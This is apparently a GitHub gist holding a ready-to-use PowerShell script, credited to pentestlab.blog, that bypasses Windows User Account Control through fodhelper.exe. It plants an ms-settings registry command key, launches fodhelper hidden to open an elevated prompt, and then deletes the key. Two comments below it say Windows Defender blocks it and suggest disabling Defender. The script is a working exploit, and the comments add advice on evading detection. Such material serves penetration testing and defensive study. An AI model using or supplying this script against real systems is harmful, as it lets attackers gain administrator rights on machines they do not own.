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Bypass UAC via Fodhelper binary in Windows 10 systems
<#
.SYNOPSIS
This script can bypass User Access Control (UAC) via fodhelper.exe
 
It creates a new registry structure in: "HKCU:\Software\Classes\ms-settings\" to perform UAC bypass and starts
an elevated command prompt.
 
.NOTES
Function : FodhelperUACBypass
File Name : FodhelperUACBypass.ps1
Author : netbiosX. - pentestlab.blog
 
.LINKS
https://gist.github.com/netbiosX/a114f8822eb20b115e33db55deee6692
https://pentestlab.blog/2017/06/07/uac-bypass-fodhelper/
 
.EXAMPLE
 
Load "cmd /c start C:\Windows\System32\cmd.exe" (it's default):
FodhelperUACBypass
 
Load specific application:
FodhelperUACBypass -program "cmd.exe"
FodhelperUACBypass -program "cmd.exe /c powershell.exe" 
#>
function FodhelperUACBypass(){
Param (
[String]$program = "cmd /c start C:\Windows\System32\cmd.exe" #default
)
 
#Create Registry Structure
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $program -Force
 
#Start fodhelper.exe
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
 
#Cleanup
Start-Sleep 3
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
 
}
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BarrYPL commented Jan 20, 2024

I guess this could work cuz Windows Defender closed my console.

@BellaTheUni112
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I guess this could work cuz Windows Defender closed my console.

yeah it does work on modern systems like windows 10 and 11 if you disable defender but on older systems like windows 8, 7, and vista it works well.

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